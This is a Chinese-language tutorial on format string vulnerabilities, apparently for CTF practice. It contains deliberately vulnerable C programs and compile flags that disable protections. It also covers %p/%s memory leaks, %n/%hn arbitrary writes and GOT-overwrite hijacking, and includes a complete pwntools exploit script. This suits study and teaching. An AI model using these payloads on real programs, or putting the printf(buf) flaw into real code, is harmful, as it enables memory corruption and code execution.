原理
格式化字符串漏洞的本质是:程序将用户可控的输入作为了格式化函数(如printf)的格式化字符串参数,导致格式化函数在解析时,错误地越界访问或修改了内存中的数据
适用条件
格式化字符串漏洞通常需要满足以下条件:
- 用户输入能够直接或间接控制格式化字符串本身
- 程序调用了
printf、fprintf、sprintf、snprintf、syslog等 printf 族函数 - 危险写法类似
printf(buf),而不是安全写法printf("%s", buf) - 如果目标是信息泄露,需要程序输出结果可见
- 如果目标是任意地址写,需要
%n系列格式符未被过滤,并且能控制待写入地址
常见危险代码:
printf(user_input);
fprintf(stderr, user_input);
sprintf(dst, user_input);
安全写法应该显式指定格式字符串:
printf("%s", user_input);
漏洞代码
最小漏洞示例:
#include <stdio.h>
#include <unistd.h>
int main(void) {
char buf[128];
read(0, buf, sizeof(buf) - 1);
printf(buf); // 漏洞点:用户输入被当作格式化字符串解析
return 0;
}
更适合练习任意写的示例:
#include <stdio.h>
#include <unistd.h>
int target = 0;
int main(void) {
char buf[128] = {0};
puts("Input:");
read(0, buf, sizeof(buf) - 1);
printf(buf);
if (target == 0xdeadbeef) {
puts("success");
} else {
printf("target = 0x%x\n", target);
}
return 0;
}
编译方式
入门阶段建议关闭 PIE,方便观察固定地址:
gcc source.c -o fmt_demo -fno-stack-protector -no-pie
查看保护:
checksec ./fmt_demo
格式化字符串漏洞不依赖在栈上执行代码,所以 NX 开启并不会阻止漏洞本身。真正影响较大的保护通常是:
- PIE/ASLR:地址随机化,需要先泄露程序或 libc 基址
- Full RELRO:GOT 表只读,不能再通过改 GOT 劫持函数
- Canary:如果只利用格式化字符串读写内存,不一定需要覆盖返回地址,因此不一定受 Canary 影响
攻击思路
格式化字符串主要有两类能力:读内存和写内存。
泄露栈数据
使用 %p、%x、%lx 可以让 printf 继续从参数区域取值并打印:
AAAA.%p.%p.%p.%p.%p
如果输出中出现 0x41414141 或 0x4141414141414141,说明我们输入的内容已经被当作某个参数解析,可以据此确定参数偏移。
泄露任意地址
将目标地址放进 payload,再用 %s 将该地址当作字符串指针解引用:
[target_addr] + %offset$s
这种方式常用于泄露 GOT 表中的真实 libc 地址,例如泄露 puts@got,再计算 libc 基址。
任意地址写
%n 不打印内容,而是把“当前已经输出的字符数量”写入对应指针指向的地址。
常用写入粒度:
%n:写入 4 或 8 字节,受架构影响%hn:写入 2 字节%hhn:写入 1 字节
实战中通常使用 %hn 或 %hhn 分段写入,避免一次性输出过多字符。
控制流劫持
有了任意地址写后,常见目标包括:
- 修改全局变量或认证标志
- 修改 GOT 表项,例如将
printf@got改成system - 修改返回地址或函数指针
- 修改
.fini_array、.dtors等退出时会调用的函数指针区域
Payload 构造
确定参数偏移
先用可识别标记探测偏移:
from pwn import *
p = process("./fmt_demo")
p.sendline(b"AAAA.%p.%p.%p.%p.%p.%p.%p.%p")
print(p.recvall())
如果第 6 个参数附近出现 0x41414141,说明输入内容位于第 6 个格式化参数附近。也可以使用 pwntools 自动探测:
from pwn import *
def exec_fmt(payload):
p = process("./fmt_demo")
p.sendline(payload)
return p.recvall()
fmt = FmtStr(exec_fmt)
log.info(f"offset = {fmt.offset}")
使用 fmtstr_payload
pwntools 提供了 fmtstr_payload 自动生成写入 payload:
payload = fmtstr_payload(offset, {target_addr: 0xdeadbeef})
参数含义:
offset:格式化字符串参数偏移{target_addr: value}:将value写入target_addr
如果需要控制写入粒度,可以指定 write_size:
payload = fmtstr_payload(offset, {target_addr: 0xdeadbeef}, write_size="short")
write_size="short" 通常对应 %hn,会按 2 字节分段写入,更适合写 32/64 位地址。
Exploit 示例
以下示例将全局变量 target 改为 0xdeadbeef:
#!/usr/bin/env python3
from pwn import *
exe = ELF("./fmt_demo")
context.binary = exe
def conn():
if args.LOCAL:
return process(exe.path)
return remote("addr", 1337)
def main():
p = conn()
offset = 6 # 需要根据实际调试结果调整
target = exe.sym["target"]
payload = fmtstr_payload(offset, {target: 0xdeadbeef}, write_size="short")
p.recvuntil(b"Input:\n")
p.sendline(payload)
p.interactive()
if __name__ == "__main__":
main()
如果目标程序是 Full RELRO,GOT 表不可写,此时应优先考虑修改栈上返回地址、函数指针、全局变量或其他可写回调结构。
常见问题
为什么 %p 会泄露栈数据?
printf 会按照格式字符串的要求继续从参数区域取值。如果程序只传入了一个参数 printf(buf),但 buf 里包含很多 %p,printf 仍会认为后面还有参数,于是把栈上或寄存器保存区中的数据当作参数打印出来。
为什么 %n 可以写内存?
%n 的语义就是把当前已输出字符数量写入对应指针指向的地址。正常代码中它用于记录输出长度,但当指针参数可控时,就变成了任意地址写。
为什么常用 %hn 或 %hhn?
因为直接用 %n 写 4/8 字节时,需要输出的字符数量可能非常大,不稳定也很慢。使用 %hn 或 %hhn 可以按 2 字节或 1 字节分段写入,payload 更可控。
64 位下为什么地址放在 payload 前面可能被截断?
64 位地址常包含 \x00,如果目标程序使用 scanf("%s")、gets 类字符串输入,空字节可能提前截断输入。可以考虑把地址放在 payload 后半部分,或利用 read 这类按长度读取的函数。
Full RELRO 为什么不能改 GOT?
Full RELRO 会在程序启动时完成重定位,并把 GOT 所在内存页改为只读。此时再写 GOT 会触发段错误,需要寻找其他可写目标。
printf("%s", buf) 是否存在格式化字符串漏洞?
通常不存在。因为格式字符串固定为 "%s",用户输入只会作为普通字符串参数输出,不会被解析为新的格式化指令。